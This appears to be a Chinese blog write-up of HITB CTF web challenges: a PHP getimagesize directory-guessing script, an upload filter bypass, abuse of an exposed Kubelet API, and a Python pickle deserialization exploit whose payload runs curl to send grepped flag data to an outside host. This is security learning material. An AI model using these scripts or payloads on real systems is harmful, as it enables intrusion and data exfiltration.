这次ctf是半路上车,本着轻松娱乐的心态,撸了4道题。感觉这次web题目主要考察知识点的积累,都是比较前沿的姿势,找准题目对应的知识点,剩下的就比较简单了。
ps.博客升级了一下之后好像之前的一些排版都乱了,问题不大,将就看吧。。。
这道题目的知识点在于php函数在windows底层实现的一些特性,导致目录可猜解。
参考文章: 网站漏洞——文件判断函数的安全风险(实战篇)
回到题目,首先是一个上传页面,但是上传之后只返回了文件名,直接访问是访问不到的。源代码中有提示
Where Path~? <!--pic.php?filename=default.jpg-->
访问 http://47.90.97.18:9999/pic.php?filename=default.jpg
,返回了图片的长度和宽度,正好符合了上文中使用 getimagesize
的利用条件,可以利用pic.php猜解上传目录。
import requests import string import time path = '' while True: for ch in (string.ascii_lowercase + string.digits): url = 'http://47.90.97.18:9999/pic.php?filename=../%s</1523710397.jpg' % (path+ch) r = requests.get(url, headers=headers) #print(url, r.text) if 'width' in r.text: path += ch print(url) break time.sleep(1)
这里坑是真不少。。。首先default.jpg在好多个目录都有,只能自己先上传一个真正的图片。其次就是服务器对py脚本极不友好。。。。磕磕绊绊得到目录为 87194f13726af7cee27ba2cfe97b60df
。
题目对后缀名进行了检测,可以使用 l.php::$DATA
这种方式来绕过。另外要注意的一点是,上传的文件要传入 getimagesize()
,需要加上 GIF89a
文件头。
过滤掉了一些函数,使用 print_r(glob("../*"));
列目录, show_source('../flag.php');
读文件。
成功得到flag: HITB{e5f476c1e4c6dc66278db95f0b5a228a}
提示是这样的 This is a pentest challenge, open your mind
,扫了一下端口,发现 10250 端口比较可疑,查了一下,找到了Ricterz大佬的博客 Security Issues of Kubelet HTTP(s) Server 。
具体的利用方式文中写的很详细,直接开干。
首先访问 https://47.75.146.42:10250/runningpods/
确认漏洞存在。
控制容器执行任意命令需要namespace、pod_name 和 container_name三个参数,经过寻找,发现flag在 web-test 容器中。
题目说的很明白,就是python沙盒逃逸,看了一下代码,和之前的强网杯的代码很相似,明显是利用pickle反序列化。不过再利用之前,需要解决几个小问题。
既然是反序列化,那就直接找 loads
函数吧。
def loads(strs): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load()
那么在哪里调用了?只有 getlocation
函数。
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location
从cookie中获取location(形如front!back),经过一个验证之后,将!后面的数据进行了反序列化。
继续找调用 getlocation
的函数,有两处, home()
和 reminder()
,我们来看 reminder()
@app.route('/reminder', methods=['POST', 'GET']) def reminder(): if request.method == 'POST': location = request.form["reminder"] if location == '': flash("Message cleared, tell us when you have found more brains.") else: flash("We will remember where you find your brains.") location = b64e(pickle.dumps(location)) cookie = make_cookie(location, cookie_secret) #生成cookie response = redirect(url_for('home')) response.set_cookie('location', cookie) #设置cookie return response location = getlocation() if location == False: return redirect(url_for("clear")) return render_template('reminder.html')
我们可以通过post方式把我们的payload设置到cookie中,然后通过get访问来触发反序列化。
if not os.path.exists('.secret'): with open(".secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(4)) f.write(secret) with open(".secret", "r") as f: cookie_secret = f.read().strip()
可以看到cookie_secret是一个4位的随机字符串,很容易就可以爆破出来。先来看一下如何生成cookie
def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest()
这个location是可控的,即在前面的 remind()
中将我们的输入序列化之后base64encode。可以很容易的写出爆破脚本:
import string location = 'VjEKcDAKLg==' chars = string.ascii_letters + string.digits for a in chars: for b in chars: for c in chars: for d in chars: secret = a + b + c + d if calc_digest(location,secret) == '835c8b396d3f58bd214b877fafac1a3ab71e9f0ca775fb3681f1abf46d4e70cd': print secret exit(0) #secret is hitb
location和hash值都是输入任意数据从cookie中获得的。
题目准备了一个超大的黑名单,但还是有漏网之鱼,这里使用了 platform
模块,利用脚本如下:
import base64 import pickle from hashlib import sha256 def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) import platform class Exp(object): def __reduce__(self): return (platform.popen, ('curl -s http://seaii-blog.com:8000/?`grep "HITB{" -r / 2>/dev/null`',)) e = Exp() location = base64.b64encode(pickle.dumps(e)) #pickle.loads(pickle.dumps(e)) print make_cookie(location, 'hitb')
将生成好的cookie替换,访问 /reminder
即可触发。这里bash反弹shell没成功,用了个简单粗暴的方法。。。
这题提示也比较明显 the tomcat deployed jolokia.war
,仍然是Ricterz大佬的文章,跟上篇挨着。。。
Exploiting Jolokia Agent with Java EE Servers
一开始访问80端口什么也没有,所以扫了一下端口,发现了8009端口。
搜到了这样一篇文章 Exploiting Apache Tomcat through port 8009 using the Apache JServ Protocol
根据文章的一通操作,访问本地 127.0.0.1
就可以看到远程的tomcat页面了。
接下来按照Ricterz文中的 Tomcat with Jolokia 部分操作就可以了,flag就在管理页面。
时间短没来得及看,之后补上吧。